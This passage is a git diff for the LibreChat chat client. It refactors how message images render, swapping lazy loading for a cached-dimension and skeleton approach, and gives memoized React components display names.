diff --git a/client/src/components/Chat/Messages/Content/Files.tsx b/client/src/components/Chat/Messages/Content/Files.tsx
index 8997d5e822..504e48e883 100644
--- a/client/src/components/Chat/Messages/Content/Files.tsx
+++ b/client/src/components/Chat/Messages/Content/Files.tsx
@@ -1,6 +1,7 @@
 import { useMemo, memo } from 'react';
 import type { TFile, TMessage } from 'librechat-data-provider';
 import FileContainer from '~/components/Chat/Input/Files/FileContainer';
+import { getCachedPreview } from '~/utils';
 import Image from './Image';
 
 const Files = ({ message }: { message?: TMessage }) => {
@@ -17,21 +18,18 @@ const Files = ({ message }: { message?: TMessage }) => {
       {otherFiles.length > 0 &&
         otherFiles.map((file) => <FileContainer key={file.file_id} file={file as TFile} />)}
       {imageFiles.length > 0 &&
-        imageFiles.map((file) => (
-          <Image
-            key={file.file_id}
-            imagePath={file.preview ?? file.filepath ?? ''}
-            height={file.height ?? 1920}
-            width={file.width ?? 1080}
-            altText={file.filename ?? 'Uploaded Image'}
-            placeholderDimensions={{
-              height: `${file.height ?? 1920}px`,
-              width: `${file.height ?? 1080}px`,
-            }}
-            // n={imageFiles.length}
-            // i={i}
-          />
-        ))}
+        imageFiles.map((file) => {
+          const cached = file.file_id ? getCachedPreview(file.file_id) : undefined;
+          return (
+            <Image
+              key={file.file_id}
+              width={file.width}
+              height={file.height}
+              altText={file.filename ?? 'Uploaded Image'}
+              imagePath={cached ?? file.preview ?? file.filepath ?? ''}
+            />
+          );
+        })}
     </>
   );
 };
diff --git a/client/src/components/Chat/Messages/Content/Image.tsx b/client/src/components/Chat/Messages/Content/Image.tsx
index cd72733298..7e3e12e65b 100644
--- a/client/src/components/Chat/Messages/Content/Image.tsx
+++ b/client/src/components/Chat/Messages/Content/Image.tsx
@@ -1,27 +1,39 @@
-import React, { useState, useRef, useMemo } from 'react';
+import React, { useState, useRef, useMemo, useEffect } from 'react';
 import { Skeleton } from '@librechat/client';
-import { LazyLoadImage } from 'react-lazy-load-image-component';
 import { apiBaseUrl } from 'librechat-data-provider';
-import { cn, scaleImage } from '~/utils';
 import DialogImage from './DialogImage';
+import { cn } from '~/utils';
+
+/** Max display height for chat images (Tailwind JIT class) */
+export const IMAGE_MAX_H = 'max-h-[45vh]' as const;
+/** Matches the `max-w-lg` Tailwind class on the wrapper button (32rem = 512px at 16px base) */
+const IMAGE_MAX_W_PX = 512;
+
+/** Caches image dimensions by src so remounts can reserve space */
+const dimensionCache = new Map<string, { width: number; height: number }>();
+/** Tracks URLs that have been fully painted — skip skeleton on remount */
+const paintedUrls = new Set<string>();
+
+/** Test-only: resets module-level caches */
+export function _resetImageCaches(): void {
+  dimensionCache.clear();
+  paintedUrls.clear();
+}
+
+function computeHeightStyle(w: number, h: number): React.CSSProperties {
+  return { height: `min(45vh, ${(h / w) * 100}vw, ${(h / w) * IMAGE_MAX_W_PX}px)` };
+}
 
 const Image = ({
   imagePath,
   altText,
-  height,
-  width,
-  placeholderDimensions,
   className,
   args,
+  width,
+  height,
 }: {
   imagePath: string;
   altText: string;
-  height: number;
-  width: number;
-  placeholderDimensions?: {
-    height?: string;
-    width?: string;
-  };
   className?: string;
   args?: {
     prompt?: string;
@@ -30,19 +42,15 @@ const Image = ({
     style?: string;
     [key: string]: unknown;
   };
+  width?: number;
+  height?: number;
 }) => {
   const [isOpen, setIsOpen] = useState(false);
-  const [isLoaded, setIsLoaded] = useState(false);
-  const containerRef = useRef<HTMLDivElement>(null);
   const triggerRef = useRef<HTMLButtonElement>(null);
 
-  const handleImageLoad = () => setIsLoaded(true);
-
-  // Fix image path to include base path for subdirectory deployments
   const absoluteImageUrl = useMemo(() => {
     if (!imagePath) return imagePath;
 
-    // If it's already an absolute URL or doesn't start with /images/, return as is
     if (
       imagePath.startsWith('http') ||
       imagePath.startsWith('data:') ||
@@ -51,21 +59,10 @@ const Image = ({
       return imagePath;
     }
 
-    // Get the base URL and prepend it to the image path
     const baseURL = apiBaseUrl();
     return `${baseURL}${imagePath}`;
   }, [imagePath]);
 
-  const { width: scaledWidth, height: scaledHeight } = useMemo(
-    () =>
-      scaleImage({
-        originalWidth: Number(placeholderDimensions?.width?.split('px')[0] ?? width),
-        originalHeight: Number(placeholderDimensions?.height?.split('px')[0] ?? height),
-        containerRef,
-      }),
-    [placeholderDimensions, height, width],
-  );
-
   const downloadImage = async () => {
     try {
       const response = await fetch(absoluteImageUrl);
@@ -95,8 +92,19 @@ const Image = ({
     }
   };
 
+  useEffect(() => {
+    if (width && height && absoluteImageUrl) {
+      dimensionCache.set(absoluteImageUrl, { width, height });
+    }
+  }, [absoluteImageUrl, width, height]);
+
+  const dims = width && height ? { width, height } : dimensionCache.get(absoluteImageUrl);
+  const hasDimensions = !!(dims?.width && dims?.height);
+  const heightStyle = hasDimensions ? computeHeightStyle(dims.width, dims.height) : undefined;
+  const showSkeleton = hasDimensions && !paintedUrls.has(absoluteImageUrl);
+
   return (
-    <div ref={containerRef}>
+    <div>
       <button
         ref={triggerRef}
         type="button"
@@ -104,45 +112,33 @@ const Image = ({
         aria-haspopup="dialog"
         onClick={() => setIsOpen(true)}
         className={cn(
-          'relative mt-1 flex h-auto w-full max-w-lg cursor-pointer items-center justify-center overflow-hidden rounded-lg border border-border-light text-text-secondary-alt shadow-md transition-shadow',
+          'relative mt-1 w-full max-w-lg cursor-pointer overflow-hidden rounded-lg border border-border-light text-text-secondary-alt shadow-md transition-shadow',
           'focus:outline-none focus-visible:ring-2 focus-visible:ring-ring focus-visible:ring-offset-2 focus-visible:ring-offset-surface-primary',
           className,
         )}
+        style={heightStyle}
       >
-        <LazyLoadImage
+        {showSkeleton && <Skeleton className="absolute inset-0" aria-hidden="true" />}
+        <img
           alt={altText}
-          onLoad={handleImageLoad}
-          visibleByDefault={true}
-          className={cn(
-            'opacity-100 transition-opacity duration-100',
-            isLoaded ? 'opacity-100' : 'opacity-0',
-          )}
           src={absoluteImageUrl}
-          style={{
-            width: `${scaledWidth}`,
-            height: 'auto',
-            color: 'transparent',
-            display: 'block',
-          }}
-          placeholder={
-            <Skeleton
-              className={cn('h-auto w-full', `h-[${scaledHeight}] w-[${scaledWidth}]`)}
-              aria-label="Loading image"
-              aria-busy="true"
-            />
-          }
+          onLoad={() => paintedUrls.add(absoluteImageUrl)}
+          className={cn(
+            'relative block text-transparent',
+            hasDimensions
+              ? 'size-full object-contain'
+              : cn('h-auto w-auto max-w-full', IMAGE_MAX_H),
+          )}
         />
       </button>
-      {isLoaded && (
-        <DialogImage
-          isOpen={isOpen}
-          onOpenChange={setIsOpen}
-          src={absoluteImageUrl}
-          downloadImage={downloadImage}
-          args={args}
-          triggerRef={triggerRef}
-        />
-      )}
+      <DialogImage
+        isOpen={isOpen}
+        onOpenChange={setIsOpen}
+        src={absoluteImageUrl}
+        downloadImage={downloadImage}
+        args={args}
+        triggerRef={triggerRef}
+      />
     </div>
   );
 };
diff --git a/client/src/components/Chat/Messages/Content/Markdown.tsx b/client/src/components/Chat/Messages/Content/Markdown.tsx
index a763885d2f..1217869a2c 100644
--- a/client/src/components/Chat/Messages/Content/Markdown.tsx
+++ b/client/src/components/Chat/Messages/Content/Markdown.tsx
@@ -27,7 +27,7 @@ type TContentProps = {
   isLatestMessage: boolean;
 };
 
-const Markdown = memo(({ content = '', isLatestMessage }: TContentProps) => {
+const Markdown = memo(function Markdown({ content = '', isLatestMessage }: TContentProps) {
   const LaTeXParsing = useRecoilValue<boolean>(store.LaTeXParsing);
   const isInitializing = content === '';
 
@@ -106,5 +106,6 @@ const Markdown = memo(({ content = '', isLatestMessage }: TContentProps) => {
     </MarkdownErrorBoundary>
   );
 });
+Markdown.displayName = 'Markdown';
 
 export default Markdown;
diff --git a/client/src/components/Chat/Messages/Content/MarkdownComponents.tsx b/client/src/components/Chat/Messages/Content/MarkdownComponents.tsx
index d647147151..1c5369955d 100644
--- a/client/src/components/Chat/Messages/Content/MarkdownComponents.tsx
+++ b/client/src/components/Chat/Messages/Content/MarkdownComponents.tsx
@@ -18,7 +18,10 @@ type TCodeProps = {
   children: React.ReactNode;
 };
 
-export const code: React.ElementType = memo(({ className, children }: TCodeProps) => {
+export const code: React.ElementType = memo(function MarkdownCode({
+  className,
+  children,
+}: TCodeProps) {
   const canRunCode = useHasAccess({
     permissionType: PermissionTypes.RUN_CODE,
     permission: Permissions.USE,
@@ -62,8 +65,12 @@ export const code: React.ElementType = memo(({ className, children }: TCodeProps
     );
   }
 });
+code.displayName = 'MarkdownCode';
 
-export const codeNoExecution: React.ElementType = memo(({ className, children }: TCodeProps) => {
+export const codeNoExecution: React.ElementType = memo(function MarkdownCodeNoExecution({
+  className,
+  children,
+}: TCodeProps) {
   const match = /language-(\w+)/.exec(className ?? '');
   const lang = match && match[1];
 
@@ -82,13 +89,14 @@ export const codeNoExecution: React.ElementType = memo(({ className, children }:
     return <CodeBlock lang={lang ?? 'text'} codeChildren={children} allowExecution={false} />;
   }
 });
+codeNoExecution.displayName = 'MarkdownCodeNoExecution';
 
 type TAnchorProps = {
   href: string;
   children: React.ReactNode;
 };
 
-export const a: React.ElementType = memo(({ href, children }: TAnchorProps) => {
+export const a: React.ElementType = memo(function MarkdownAnchor({ href, children }: TAnchorProps) {
   const user = useRecoilValue(store.user);
   const { showToast } = useToastContext();
   const localize = useLocalize();
@@ -163,14 +171,16 @@ export const a: React.ElementType = memo(({ href, children }: TAnchorProps) => {
     </a>
   );
 });
+a.displayName = 'MarkdownAnchor';
 
 type TParagraphProps = {
   children: React.ReactNode;
 };
 
-export const p: React.ElementType = memo(({ children }: TParagraphProps) => {
+export const p: React.ElementType = memo(function MarkdownParagraph({ children }: TParagraphProps) {
   return <p className="mb-2 whitespace-pre-wrap">{children}</p>;
 });
+p.displayName = 'MarkdownParagraph';
 
 type TImageProps = {
   src?: string;
@@ -180,7 +190,13 @@ type TImageProps = {
   style?: React.CSSProperties;
 };
 
-export const img: React.ElementType = memo(({ src, alt, title, className, style }: TImageProps) => {
+export const img: React.ElementType = memo(function MarkdownImage({
+  src,
+  alt,
+  title,
+  className,
+  style,
+}: TImageProps) {
   // Get the base URL from the API endpoints
   const baseURL = apiBaseUrl();
 
@@ -199,3 +215,4 @@ export const img: React.ElementType = memo(({ src, alt, title, className, style
 
   return <img src={fixedSrc} alt={alt} title={title} className={className} style={style} />;
 });
+img.displayName = 'MarkdownImage';
diff --git a/client/src/components/Chat/Messages/Content/MessageContent.tsx b/client/src/components/Chat/Messages/Content/MessageContent.tsx
index 7a823a07e9..0e2e7faa2c 100644
--- a/client/src/components/Chat/Messages/Content/MessageContent.tsx
+++ b/client/src/components/Chat/Messages/Content/MessageContent.tsx
@@ -185,4 +185,7 @@ const MessageContent = ({
   );
 };
 
-export default memo(MessageContent);
+const MemoizedMessageContent = memo(MessageContent);
+MemoizedMessageContent.displayName = 'MessageContent';
+
+export default MemoizedMessageContent;
diff --git a/client/src/components/Chat/Messages/Content/Part.tsx b/client/src/components/Chat/Messages/Content/Part.tsx
index f97d1343b9..7bce7ac11d 100644
--- a/client/src/components/Chat/Messages/Content/Part.tsx
+++ b/client/src/components/Chat/Messages/Content/Part.tsx
@@ -11,6 +11,7 @@ import type { TMessageContentParts, TAttachment } from 'librechat-data-provider'
 import { OpenAIImageGen, EmptyText, Reasoning, ExecuteCode, AgentUpdate, Text } from './Parts';
 import { ErrorMessage } from './MessageContent';
 import RetrievalCall from './RetrievalCall';
+import { getCachedPreview } from '~/utils';
 import AgentHandoff from './AgentHandoff';
 import CodeAnalyze from './CodeAnalyze';
 import Container from './Container';
@@ -28,212 +29,213 @@ type PartProps = {
   attachments?: TAttachment[];
 };
 
-const Part = memo(
-  ({ part, isSubmitting, attachments, isLast, showCursor, isCreatedByUser }: PartProps) => {
-    if (!part) {
+const Part = memo(function Part({
+  part,
+  isSubmitting,
+  attachments,
+  isLast,
+  showCursor,
+  isCreatedByUser,
+}: PartProps) {
+  if (!part) {
+    return null;
+  }
+
+  if (part.type === ContentTypes.ERROR) {
+    return (
+      <ErrorMessage
+        text={
+          part[ContentTypes.ERROR] ??
+          (typeof part[ContentTypes.TEXT] === 'string'
+            ? part[ContentTypes.TEXT]
+            : part.text?.value) ??
+          ''
+        }
+        className="my-2"
+      />
+    );
+  } else if (part.type === ContentTypes.AGENT_UPDATE) {
+    return (
+      <>
+        <AgentUpdate currentAgentId={part[ContentTypes.AGENT_UPDATE]?.agentId} />
+        {isLast && showCursor && (
+          <Container>
+            <EmptyText />
+          </Container>
+        )}
+      </>
+    );
+  } else if (part.type === ContentTypes.TEXT) {
+    const text = typeof part.text === 'string' ? part.text : part.text?.value;
+
+    if (typeof text !== 'string') {
+      return null;
+    }
+    if (part.tool_call_ids != null && !text) {
+      return null;
+    }
+    /** Handle whitespace-only text to avoid layout shift */
+    if (text.length > 0 && /^\s*$/.test(text)) {
+      /** Show placeholder for whitespace-only last part during streaming */
+      if (isLast && showCursor) {
+        return (
+          <Container>
+            <EmptyText />
+          </Container>
+        );
+      }
+      /** Skip rendering non-last whitespace-only parts to avoid empty Container */
+      if (!isLast) {
+        return null;
+      }
+    }
+    return (
+      <Container>
+        <Text text={text} isCreatedByUser={isCreatedByUser} showCursor={showCursor} />
+      </Container>
+    );
+  } else if (part.type === ContentTypes.THINK) {
+    const reasoning = typeof part.think === 'string' ? part.think : part.think?.value;
+    if (typeof reasoning !== 'string') {
+      return null;
+    }
+    return <Reasoning reasoning={reasoning} isLast={isLast ?? false} />;
+  } else if (part.type === ContentTypes.TOOL_CALL) {
+    const toolCall = part[ContentTypes.TOOL_CALL];
+
+    if (!toolCall) {
       return null;
     }
 
-    if (part.type === ContentTypes.ERROR) {
+    const isToolCall =
+      'args' in toolCall && (!toolCall.type || toolCall.type === ToolCallTypes.TOOL_CALL);
+    if (
+      isToolCall &&
+      (toolCall.name === Tools.execute_code ||
+        toolCall.name === Constants.PROGRAMMATIC_TOOL_CALLING)
+    ) {
       return (
-        <ErrorMessage
-          text={
-            part[ContentTypes.ERROR] ??
-            (typeof part[ContentTypes.TEXT] === 'string'
-              ? part[ContentTypes.TEXT]
-              : part.text?.value) ??
-            ''
-          }
-          className="my-2"
+        <ExecuteCode
+          attachments={attachments}
+          isSubmitting={isSubmitting}
+          output={toolCall.output ?? ''}
+          initialProgress={toolCall.progress ?? 0.1}
+          args={typeof toolCall.args === 'string' ? toolCall.args : ''}
         />
       );
-    } else if (part.type === ContentTypes.AGENT_UPDATE) {
+    } else if (
+      isToolCall &&
+      (toolCall.name === 'image_gen_oai' ||
+        toolCall.name === 'image_edit_oai' ||
+        toolCall.name === 'gemini_image_gen')
+    ) {
       return (
-        <>
-          <AgentUpdate currentAgentId={part[ContentTypes.AGENT_UPDATE]?.agentId} />
-          {isLast && showCursor && (
-            <Container>
-              <EmptyText />
-            </Container>
-          )}
-        </>
+        <OpenAIImageGen
+          initialProgress={toolCall.progress ?? 0.1}
+          isSubmitting={isSubmitting}
+          toolName={toolCall.name}
+          args={typeof toolCall.args === 'string' ? toolCall.args : ''}
+          output={toolCall.output ?? ''}
+          attachments={attachments}
+        />
       );
-    } else if (part.type === ContentTypes.TEXT) {
-      const text = typeof part.text === 'string' ? part.text : part.text?.value;
-
-      if (typeof text !== 'string') {
-        return null;
-      }
-      if (part.tool_call_ids != null && !text) {
-        return null;
-      }
-      /** Handle whitespace-only text to avoid layout shift */
-      if (text.length > 0 && /^\s*$/.test(text)) {
-        /** Show placeholder for whitespace-only last part during streaming */
-        if (isLast && showCursor) {
+    } else if (isToolCall && toolCall.name === Tools.web_search) {
+      return (
+        <WebSearch
+          output={toolCall.output ?? ''}
+          initialProgress={toolCall.progress ?? 0.1}
+          isSubmitting={isSubmitting}
+          attachments={attachments}
+          isLast={isLast}
+        />
+      );
+    } else if (isToolCall && toolCall.name?.startsWith(Constants.LC_TRANSFER_TO_)) {
+      return (
+        <AgentHandoff
+          args={toolCall.args ?? ''}
+          name={toolCall.name || ''}
+          output={toolCall.output ?? ''}
+        />
+      );
+    } else if (isToolCall) {
+      return (
+        <ToolCall
+          args={toolCall.args ?? ''}
+          name={toolCall.name || ''}
+          output={toolCall.output ?? ''}
+          initialProgress={toolCall.progress ?? 0.1}
+          isSubmitting={isSubmitting}
+          attachments={attachments}
+          auth={toolCall.auth}
+          expires_at={toolCall.expires_at}
+          isLast={isLast}
+        />
+      );
+    } else if (toolCall.type === ToolCallTypes.CODE_INTERPRETER) {
+      const code_interpreter = toolCall[ToolCallTypes.CODE_INTERPRETER];
+      return (
+        <CodeAnalyze
+          initialProgress={toolCall.progress ?? 0.1}
+          code={code_interpreter.input}
+          outputs={code_interpreter.outputs ?? []}
+        />
+      );
+    } else if (
+      toolCall.type === ToolCallTypes.RETRIEVAL ||
+      toolCall.type === ToolCallTypes.FILE_SEARCH
+    ) {
+      return (
+        <RetrievalCall initialProgress={toolCall.progress ?? 0.1} isSubmitting={isSubmitting} />
+      );
+    } else if (
+      toolCall.type === ToolCallTypes.FUNCTION &&
+      ToolCallTypes.FUNCTION in toolCall &&
+      imageGenTools.has(toolCall.function.name)
+    ) {
+      return (
+        <ImageGen
+          initialProgress={toolCall.progress ?? 0.1}
+          args={toolCall.function.arguments as string}
+        />
+      );
+    } else if (toolCall.type === ToolCallTypes.FUNCTION && ToolCallTypes.FUNCTION in toolCall) {
+      if (isImageVisionTool(toolCall)) {
+        if (isSubmitting && showCursor) {
           return (
             <Container>
-              <EmptyText />
+              <Text text={''} isCreatedByUser={isCreatedByUser} showCursor={showCursor} />
             </Container>
           );
         }
-        /** Skip rendering non-last whitespace-only parts to avoid empty Container */
-        if (!isLast) {
-          return null;
-        }
-      }
-      return (
-        <Container>
-          <Text text={text} isCreatedByUser={isCreatedByUser} showCursor={showCursor} />
-        </Container>
-      );
-    } else if (part.type === ContentTypes.THINK) {
-      const reasoning = typeof part.think === 'string' ? part.think : part.think?.value;
-      if (typeof reasoning !== 'string') {
-        return null;
-      }
-      return <Reasoning reasoning={reasoning} isLast={isLast ?? false} />;
-    } else if (part.type === ContentTypes.TOOL_CALL) {
-      const toolCall = part[ContentTypes.TOOL_CALL];
-
-      if (!toolCall) {
         return null;
       }
 
-      const isToolCall =
-        'args' in toolCall && (!toolCall.type || toolCall.type === ToolCallTypes.TOOL_CALL);
-      if (
-        isToolCall &&
-        (toolCall.name === Tools.execute_code ||
-          toolCall.name === Constants.PROGRAMMATIC_TOOL_CALLING)
-      ) {
-        return (
-          <ExecuteCode
-            attachments={attachments}
-            isSubmitting={isSubmitting}
-            output={toolCall.output ?? ''}
-            initialProgress={toolCall.progress ?? 0.1}
-            args={typeof toolCall.args === 'string' ? toolCall.args : ''}
-          />
-        );
-      } else if (
-        isToolCall &&
-        (toolCall.name === 'image_gen_oai' ||
-          toolCall.name === 'image_edit_oai' ||
-          toolCall.name === 'gemini_image_gen')
-      ) {
-        return (
-          <OpenAIImageGen
-            initialProgress={toolCall.progress ?? 0.1}
-            isSubmitting={isSubmitting}
-            toolName={toolCall.name}
-            args={typeof toolCall.args === 'string' ? toolCall.args : ''}
-            output={toolCall.output ?? ''}
-            attachments={attachments}
-          />
-        );
-      } else if (isToolCall && toolCall.name === Tools.web_search) {
-        return (
-          <WebSearch
-            output={toolCall.output ?? ''}
-            initialProgress={toolCall.progress ?? 0.1}
-            isSubmitting={isSubmitting}
-            attachments={attachments}
-            isLast={isLast}
-          />
-        );
-      } else if (isToolCall && toolCall.name?.startsWith(Constants.LC_TRANSFER_TO_)) {
-        return (
-          <AgentHandoff
-            args={toolCall.args ?? ''}
-            name={toolCall.name || ''}
-            output={toolCall.output ?? ''}
-          />
-        );
-      } else if (isToolCall) {
-        return (
-          <ToolCall
-            args={toolCall.args ?? ''}
-            name={toolCall.name || ''}
-            output={toolCall.output ?? ''}
-            initialProgress={toolCall.progress ?? 0.1}
-            isSubmitting={isSubmitting}
-            attachments={attachments}
-            auth={toolCall.auth}
-            expires_at={toolCall.expires_at}
-            isLast={isLast}
-          />
-        );
-      } else if (toolCall.type === ToolCallTypes.CODE_INTERPRETER) {
-        const code_interpreter = toolCall[ToolCallTypes.CODE_INTERPRETER];
-        return (
-          <CodeAnalyze
-            initialProgress={toolCall.progress ?? 0.1}
-            code={code_interpreter.input}
-            outputs={code_interpreter.outputs ?? []}
-          />
-        );
-      } else if (
-        toolCall.type === ToolCallTypes.RETRIEVAL ||
-        toolCall.type === ToolCallTypes.FILE_SEARCH
-      ) {
-        return (
-          <RetrievalCall initialProgress={toolCall.progress ?? 0.1} isSubmitting={isSubmitting} />
-        );
-      } else if (
-        toolCall.type === ToolCallTypes.FUNCTION &&
-        ToolCallTypes.FUNCTION in toolCall &&
-        imageGenTools.has(toolCall.function.name)
-      ) {
-        return (
-          <ImageGen
-            initialProgress={toolCall.progress ?? 0.1}
-            args={toolCall.function.arguments as string}
-          />
-        );
-      } else if (toolCall.type === ToolCallTypes.FUNCTION && ToolCallTypes.FUNCTION in toolCall) {
-        if (isImageVisionTool(toolCall)) {
-          if (isSubmitting && showCursor) {
-            return (
-              <Container>
-                <Text text={''} isCreatedByUser={isCreatedByUser} showCursor={showCursor} />
-              </Container>
-            );
-          }
-          return null;
-        }
-
-        return (
-          <ToolCall
-            initialProgress={toolCall.progress ?? 0.1}
-            isSubmitting={isSubmitting}
-            args={toolCall.function.arguments as string}
-            name={toolCall.function.name}
-            output={toolCall.function.output}
-            isLast={isLast}
-          />
-        );
-      }
-    } else if (part.type === ContentTypes.IMAGE_FILE) {
-      const imageFile = part[ContentTypes.IMAGE_FILE];
-      const height = imageFile.height ?? 1920;
-      const width = imageFile.width ?? 1080;
       return (
-        <Image
-          imagePath={imageFile.filepath}
-          height={height}
-          width={width}
-          altText={imageFile.filename ?? 'Uploaded Image'}
-          placeholderDimensions={{
-            height: height + 'px',
-            width: width + 'px',
-          }}
+        <ToolCall
+          initialProgress={toolCall.progress ?? 0.1}
+          isSubmitting={isSubmitting}
+          args={toolCall.function.arguments as string}
+          name={toolCall.function.name}
+          output={toolCall.function.output}
+          isLast={isLast}
         />
       );
     }
+  } else if (part.type === ContentTypes.IMAGE_FILE) {
+    const imageFile = part[ContentTypes.IMAGE_FILE];
+    const cached = imageFile.file_id ? getCachedPreview(imageFile.file_id) : undefined;
+    return (
+      <Image
+        imagePath={cached ?? imageFile.filepath}
+        altText={imageFile.filename ?? 'Uploaded Image'}
+        width={imageFile.width}
+        height={imageFile.height}
+      />
+    );
+  }
 
-    return null;
-  },
-);
+  return null;
+});
+Part.displayName = 'Part';
 
 export default Part;
diff --git a/client/src/components/Chat/Messages/Content/Parts/Attachment.tsx b/client/src/components/Chat/Messages/Content/Parts/Attachment.tsx
index b5d1e07cbf..31e30772dc 100644
--- a/client/src/components/Chat/Messages/Content/Parts/Attachment.tsx
+++ b/client/src/components/Chat/Messages/Content/Parts/Attachment.tsx
@@ -76,8 +76,8 @@ const ImageAttachment = memo(({ attachment }: { attachment: TAttachment }) => {
       <Image
         altText={attachment.filename || 'attachment image'}
         imagePath={filepath ?? ''}
-        height={height ?? 0}
-        width={width ?? 0}
+        width={width}
+        height={height}
         className="mb-4"
       />
     </div>
diff --git a/client/src/components/Chat/Messages/Content/Parts/EmptyText.tsx b/client/src/components/Chat/Messages/Content/Parts/EmptyText.tsx
index 1b514164df..409461a058 100644
--- a/client/src/components/Chat/Messages/Content/Parts/EmptyText.tsx
+++ b/client/src/components/Chat/Messages/Content/Parts/EmptyText.tsx
@@ -1,8 +1,9 @@
 import { memo } from 'react';
 
+/** Streaming cursor placeholder — no bottom margin to match Container's structure and prevent CLS */
 const EmptyTextPart = memo(() => {
   return (
-    <div className="text-message mb-[0.625rem] flex min-h-[20px] flex-col items-start gap-3 overflow-visible">
+    <div className="text-message flex min-h-[20px] flex-col items-start gap-3 overflow-visible">
       <div className="markdown prose dark:prose-invert light w-full break-words dark:text-gray-100">
         <div className="absolute">
           <p className="submitting relative">
diff --git a/client/src/components/Chat/Messages/Content/Parts/LogContent.tsx b/client/src/components/Chat/Messages/Content/Parts/LogContent.tsx
index da2a8f175e..a675ff06d8 100644
--- a/client/src/components/Chat/Messages/Content/Parts/LogContent.tsx
+++ b/client/src/components/Chat/Messages/Content/Parts/LogContent.tsx
@@ -12,11 +12,7 @@ interface LogContentProps {
   attachments?: TAttachment[];
 }
 
-type ImageAttachment = TFile &
-  TAttachmentMetadata & {
-    height: number;
-    width: number;
-  };
+type ImageAttachment = TFile & TAttachmentMetadata;
 
 const LogContent: React.FC<LogContentProps> = ({ output = '', renderImages, attachments }) => {
   const localize = useLocalize();
@@ -35,12 +31,8 @@ const LogContent: React.FC<LogContentProps> = ({ output = '', renderImages, atta
     const nonImageAtts: TAttachment[] = [];
 
     attachments?.forEach((attachment) => {
-      const { width, height, filepath = null } = attachment as TFile & TAttachmentMetadata;
-      const isImage =
-        imageExtRegex.test(attachment.filename ?? '') &&
-        width != null &&
-        height != null &&
-        filepath != null;
+      const { filepath = null } = attachment as TFile & TAttachmentMetadata;
+      const isImage = imageExtRegex.test(attachment.filename ?? '') && filepath != null;
       if (isImage) {
         imageAtts.push(attachment as ImageAttachment);
       } else {
@@ -100,18 +92,15 @@ const LogContent: React.FC<LogContentProps> = ({ output = '', renderImages, atta
           ))}
         </div>
       )}
-      {imageAttachments?.map((attachment, index) => {
-        const { width, height, filepath } = attachment;
-        return (
-          <Image
-            key={index}
-            altText={attachment.filename}
-            imagePath={filepath}
-            height={height}
-            width={width}
-          />
-        );
-      })}
+      {imageAttachments?.map((attachment) => (
+        <Image
+          width={attachment.width}
+          height={attachment.height}
+          key={attachment.filepath}
+          altText={attachment.filename}
+          imagePath={attachment.filepath}
+        />
+      ))}
     </>
   );
 };
diff --git a/client/src/components/Chat/Messages/Content/Parts/OpenAIImageGen/OpenAIImageGen.tsx b/client/src/components/Chat/Messages/Content/Parts/OpenAIImageGen/OpenAIImageGen.tsx
index aa1b07827b..bdce6d3209 100644
--- a/client/src/components/Chat/Messages/Content/Parts/OpenAIImageGen/OpenAIImageGen.tsx
+++ b/client/src/components/Chat/Messages/Content/Parts/OpenAIImageGen/OpenAIImageGen.tsx
@@ -1,9 +1,12 @@
-import { useState, useEffect, useRef, useCallback } from 'react';
+import { useState, useEffect, useRef } from 'react';
 import { PixelCard } from '@librechat/client';
 import type { TAttachment, TFile, TAttachmentMetadata } from 'librechat-data-provider';
 import Image from '~/components/Chat/Messages/Content/Image';
 import ProgressText from './ProgressText';
-import { scaleImage } from '~/utils';
+import { cn } from '~/utils';
+
+const IMAGE_MAX_H = 'max-h-[45vh]' as const;
+const IMAGE_FULL_H = 'h-[45vh]' as const;
 
 export default function OpenAIImageGen({
   initialProgress = 0.1,
@@ -28,8 +31,6 @@ export default function OpenAIImageGen({
 
   const cancelled = (!isSubmitting && initialProgress < 1) || error === true;
 
-  let width: number | undefined;
-  let height: number | undefined;
   let quality: 'low' | 'medium' | 'high' = 'high';
 
   // Parse args if it's a string
@@ -41,62 +42,21 @@ export default function OpenAIImageGen({
     parsedArgs = {};
   }
 
-  try {
-    const argsObj = parsedArgs;
-
-    if (argsObj && typeof argsObj.size === 'string') {
-      const [w, h] = argsObj.size.split('x').map((v: string) => parseInt(v, 10));
-      if (!isNaN(w) && !isNaN(h)) {
-        width = w;
-        height = h;
-      }
-    } else if (argsObj && (typeof argsObj.size !== 'string' || !argsObj.size)) {
-      width = undefined;
-      height = undefined;
+  if (parsedArgs && typeof parsedArgs.quality === 'string') {
+    const q = parsedArgs.quality.toLowerCase();
+    if (q === 'low' || q === 'medium' || q === 'high') {
+      quality = q;
     }
-
-    if (argsObj && typeof argsObj.quality === 'string') {
-      const q = argsObj.quality.toLowerCase();
-      if (q === 'low' || q === 'medium' || q === 'high') {
-        quality = q;
-      }
-    }
-  } catch (e) {
-    width = undefined;
-    height = undefined;
   }
 
-  // Default to 1024x1024 if width and height are still undefined after parsing args and attachment metadata
   const attachment = attachments?.[0];
   const {
-    width: imageWidth,
-    height: imageHeight,
     filepath = null,
     filename = '',
+    width: imgWidth,
+    height: imgHeight,
   } = (attachment as TFile & TAttachmentMetadata) || {};
 
-  let origWidth = width ?? imageWidth;
-  let origHeight = height ?? imageHeight;
-
-  if (origWidth === undefined || origHeight === undefined) {
-    origWidth = 1024;
-    origHeight = 1024;
-  }
-
-  const [dimensions, setDimensions] = useState({ width: 'auto', height: 'auto' });
-  const containerRef = useRef<HTMLDivElement>(null);
-
-  const updateDimensions = useCallback(() => {
-    if (origWidth && origHeight && containerRef.current) {
-      const scaled = scaleImage({
-        originalWidth: origWidth,
-        originalHeight: origHeight,
-        containerRef,
-      });
-      setDimensions(scaled);
-    }
-  }, [origWidth, origHeight]);
-
   useEffect(() => {
     if (isSubmitting) {
       setProgress(initialProgress);
@@ -156,45 +116,21 @@ export default function OpenAIImageGen({
     }
   }, [initialProgress, cancelled]);
 
-  useEffect(() => {
-    updateDimensions();
-
-    const resizeObserver = new ResizeObserver(() => {
-      updateDimensions();
-    });
-
-    if (containerRef.current) {
-      resizeObserver.observe(containerRef.current);
-    }
-
-    return () => {
-      resizeObserver.disconnect();
-    };
-  }, [updateDimensions]);
-
   return (
     <>
       <div className="relative my-2.5 flex size-5 shrink-0 items-center gap-2.5">
         <ProgressText progress={progress} error={cancelled} toolName={toolName} />
       </div>
-      <div className="relative mb-2 flex w-full justify-start">
-        <div ref={containerRef} className="w-full max-w-lg">
-          {dimensions.width !== 'auto' && progress < 1 && (
-            <PixelCard
-              variant="default"
-              progress={progress}
-              randomness={0.6}
-              width={dimensions.width}
-              height={dimensions.height}
-            />
-          )}
+      <div className={cn('relative mb-2 flex w-full max-w-lg justify-start', IMAGE_MAX_H)}>
